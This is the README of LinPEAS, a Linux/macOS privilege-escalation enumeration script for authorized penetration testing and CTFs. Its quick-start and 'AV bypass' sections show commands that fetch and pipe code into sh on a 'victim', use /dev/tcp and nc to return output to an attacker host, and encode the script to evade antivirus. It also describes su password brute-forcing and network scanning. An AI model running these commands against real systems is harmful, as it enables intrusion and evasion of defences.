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PEASS-ng/linPEAS/README.md

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# LinPEAS - Linux Privilege Escalation Awesome Script
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![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/linpeas.png)
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**LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/privilege-escalation)**
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Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist)**.
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[![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/309566)
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## MacPEAS
Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed**
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## Quick Start
```bash
#From github
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curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
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```
```bash
#Local network
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sudo python -m SimpleHTTPServer 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim
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#Without curl
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sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim
#Excute from memory and send output back to the host
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
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```
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```bash
#Output to file
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./linpeas.sh -a > /dev/shm/linpeas.txt #Victim
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less -r /dev/shm/linpeas.txt #Read with colors
```
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## AV bypass
```bash
#open-ssl encryption
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim
#Base64 encoded
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim
```
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## Basic Information
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The goal of this script is to search for possible **Privilege Escalation Paths** (tested in Debian, CentOS, FreeBSD, OpenBSD and MacOS).
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This script doesn't have any dependency.
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It uses **/bin/sh** syntax, so can run in anything supporting `sh` (and the binaries and parameters used).
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By default, **linpeas won't write anything to disk and won't try to login as any other user using `su`**.
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By default linpeas takes around **4 mins** to complete, but It could take from **5 to 10 minutes** to execute all the checks using **-a** parameter *(Recommended option for CTFs)*:
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- From less than 1 min to 2 mins to make almost all the checks
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- Almost 1 min to search for possible passwords inside all the accesible files of the system
- 20s/user bruteforce with top2000 passwords *(need `-a`)* - Notice that this check is **super noisy**
- 1 min to monitor the processes in order to find very frequent cron jobs *(need `-a`)* - Notice that this check will need to **write** some info inside a file that will be deleted
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**Interesting parameters:**
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- **-a** (all checks) - This will **execute also the check of processes during 1 min, will search more possible hashes inside files, and brute-force each user using `su` with the top2000 passwords.**
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- **-e** (extra enumeration) - This will execute **enumeration checkes that are avoided by default**
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- **-s** (superfast & stealth) - This will bypass some time consuming checks - **Stealth mode** (Nothing will be written to disk)
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- **-P** (Password) - Pass a password that will be used with `sudo -l` and bruteforcing other users
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- **-D** (Debug) - Print information about the checks that haven't discovered anything and about the time each check took
- **-d/-p/-i/-t** (Local Network Enumeration) - Linpeas can also discover and port-scan local networks
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This script has **several lists** included inside of it to be able to **color the results** in order to highlight PE vector.
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```
Enumerate and search Privilege Escalation vectors.
This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors.
-h To show this message
-q Do not show banner
-e Perform extra enumeration
-s SuperFast (don't check some time consuming checks) - Stealth mode
-a All checks (1min of processes and su brute) - Noisy mode, for CTFs mainly
-w Wait execution between big blocks of checks
-N Do not use colours
-D Debug mode
-P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
-o Only execute selected checks (system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files). Select a comma separated list.
-L Force linpeas execution.
-M Force macpeas execution.
-d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24
-p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139
-i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
-t Automatic network scan (host discovery and port scanning) - This option writes to files
Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
```
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## Hosts Discovery and Port Scanning
With LinPEAS you can also **discover hosts automatically** using `fping`, `ping` and/or `nc`, and **scan ports** using `nc`.
LinPEAS will **automatically search for this binaries** in `$PATH` and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning.
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![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/network.png)
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## Colors
<details>
<summary>Details</summary>
LinPEAS uses colors to indicate where does each section begin. But **it also uses them the identify potencial misconfigurations**.
The ![](https://placehold.it/15/b32400/000000?text=+) **Red/Yellow** ![](https://placehold.it/15/fff500/000000?text=+) color is used for identifing configurations that lead to PE (99% sure).
The ![](https://placehold.it/15/b32400/000000?text=+) **Red** color is used for identifing suspicious configurations that could lead to PE:
- Possible exploitable kernel versions
- Vulnerable sudo versions
- Identify processes running as root
- Not mounted devices
- Dangerous fstab permissions
- Writable files in interesting directories
- SUID/SGID binaries that have some vulnerable version (it also specifies the vulnerable version)
- SUDO binaries that can be used to escalate privileges in sudo -l (without passwd) (https://gtfobins.github.io/)
- Check /etc/doas.conf
- 127.0.0.1 in netstat
- Known files that could contain passwords
- Capabilities in interesting binaries
- Interesting capabilities of a binary
- Writable folders and wilcards inside info about cron jobs
- Writables folders in PATH
- Groups that could lead to root
- Files that could contains passwords
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- Suspicious cronjobs
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The ![](https://placehold.it/15/66ff33/000000?text=+) **Green** color is used for:
- Common processes run by root
- Common not interesting devices to mount
- Not dangerous fstab permissions
- SUID/SGID common binaries (the bin was already found in other machines and searchsploit doesn't identify any vulnerable version)
- Common .sh files in path
- Common names of users executing processes
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- Common cronjobs
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The ![](https://placehold.it/15/0066ff/000000?text=+) **Blue** color is used for:
- Users without shell
- Mounted devices
The ![](https://placehold.it/15/33ccff/000000?text=+) **Light Cyan** color is used for:
- Users with shell
The ![](https://placehold.it/15/bf80ff/000000?text=+) **Light Magenta** color is used for:
- Current username
</details>
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## One-liner Enumerator
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Here you have an old linpe version script in one line, **just copy and paste it**;)
**The color filtering is not available in the one-liner** (the lists are too big)
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This one-liner is deprecated (I'm not going to update it any more), but it could be useful in some cases so it will remain here.
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The default file where all the data is stored is: */tmp/linPE* (you can change it at the beginning of the script)
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```sh
file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm -rf $file;echo "File: $file";echo "[+]Gathering system information...";printf $B"[*] "$RED"BASIC SYSTEM INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Operative system\n"$NC >> $file;(cat /proc/version || uname -a ) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"PATH\n"$NC >> $file;echo $PATH 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Date\n"$NC >> $file;date 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo version\n"$NC >> $file;sudo -V 2>/dev/null| grep "Sudo ver" >> $file;echo "" >> $file;printf $Y"[+] "$RED"selinux enabled?\n"$NC >> $file;sestatus 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Useful software?\n"$NC >> $file;which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Capabilities\n"$NC >> $file;getcap -r / 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Environment\n"$NC >> $file;(set || env) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Top and cleaned proccesses\n"$NC >> $file;ps aux 2>/dev/null | grep -v "\[" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Binary processes permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Services\n"$NC >> $file;(/usr/sbin/service --status-all || /sbin/chkconfig --list || /bin/rc-status) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Different processes executed during 1 min (HTB)\n"$NC >> $file;if [ "`ps -e --format cmd`" ]; then for i in {1..121}; do ps -e --format cmd >> $file.tmp1; sleep 0.5; done; sort $file.tmp1 | uniq | grep -v "\[" | sed '/^.\{500\}./d' >> $file; rm $file.tmp1; fi;echo "" >> $file;printf $Y"[+] "$RED"Proccesses binary permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Scheduled tasks\n"$NC >> $file;crontab -l 2>/dev/null >> $file;ls -al /etc/cron* 2>/dev/null >> $file;cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Any sd* disk in /dev?\n"$NC >> $file;ls /dev 2>/dev/null | grep -i "sd" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Storage information\n"$NC >> $file;df -h 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Unmounted file-system?\n"$NC >> $file;cat /etc/fstab 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Printer?\n"$NC >> $file;lpstat -a 2>/dev/null >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering network information...";printf $B"[*] "$RED"NETWORK INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Hostname, hosts and DNS\n"$NC >> $file;cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" >> $file;dnsdomainname 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Networks and neightbours\n"$NC >> $file;cat /etc/networks 2>/dev/null >> $file;(ifconfig || ip a) 2>/dev/null >> $file;iptables -L 2>/dev/null >> $file;ip n 2>/dev/null >> $file;route -n 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Ports\n"$NC >> $file;(netstat -punta || ss -t; ss -u) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Can I sniff with tcpdump?\n"$NC >> $file;timeout 1 tcpdump >> $file 2>&1;echo "" >> $file;echo "" >> $file;echo "[+]Gathering users information...";printf $B"[*] "$RED"USERS INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Me\n"$NC >> $file;(id || (whoami && groups)) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l without password\n"$NC >> $file;echo '' | sudo -S -l -k 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Do I have PGP keys?\n"$NC >> $file;gpg --list-keys 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Superusers\n"$NC
```
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## PEASS Style
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Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas
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## TODO
- Add more checks
- Mantain updated the list of vulnerable SUID binaries
- Mantain updated all the blacklists used to color the output
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If you want to help with any of this, you can do it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**.
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If you find any issue, please report it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)**.
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**Linpeas** is being **updated** every time I find something that could be useful to escalate privileges.
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## Advisory
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
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## License
MIT License
By Polop<sup>(TM)</sup>